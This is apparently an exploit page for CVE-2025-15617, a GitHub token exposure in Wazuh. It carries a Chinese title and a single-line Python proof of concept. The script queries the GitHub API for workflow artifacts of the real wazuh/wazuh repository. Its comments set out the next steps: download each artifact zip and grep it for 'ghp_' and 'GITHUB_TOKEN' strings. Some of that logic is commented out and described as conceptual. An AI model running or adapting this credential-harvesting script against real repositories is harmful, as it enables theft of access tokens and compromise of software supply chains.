CVE-2025-15617 Wazuh GitHub令牌泄露漏洞

import requests import zipfile import re import os # Exploit Title: CVE-2025-15617 - Wazuh GitHub Token Exposure # Description: Downloads workflow artifacts and searches for GITHUB_TOKEN TARGET_REPO = "wazuh/wazuh" GITHUB_API_URL = "https://api.github.com" def get_artifacts(repo): """Fetch list of workflow run artifacts""" url = f"{GITHUB_API_URL}/repos/{repo}/actions/artifacts" try: resp = requests.get(url) if resp.status_code == 200: return resp.json().get('artifacts', []) except Exception as e: print(f"Error fetching artifacts: {e}") return [] def download_and_scan(artifact): """Download artifact zip and scan for token""" download_url = artifact['archive_download_url'] print(f"[*] Downloading: {artifact['name']}") # Note: Requires authentication to download usually, assuming context allows or token is leaked elsewhere # This is a conceptual PoC showing the scan logic. # In a real scenario, the attacker downloads the zip, extracts it, and greps for 'ghp_' or 'github' # Example logic: # with zipfile.ZipFile('artifact.zip') as z: # for filename in z.namelist(): # data = z.read(filename).decode('utf-8', errors='ignore') # if 'ghp_' in data or 'GITHUB_TOKEN' in data: # print(f"[+] Potential token found in {filename}") print("[*] CVE-2025-15617 PoC: Scanning for leaked tokens in artifacts...") artifacts = get_artifacts(TARGET_REPO) for art in artifacts: print(f"Found artifact: {art['id']} - Created at: {art['created_at']}") # download_and_scan(art)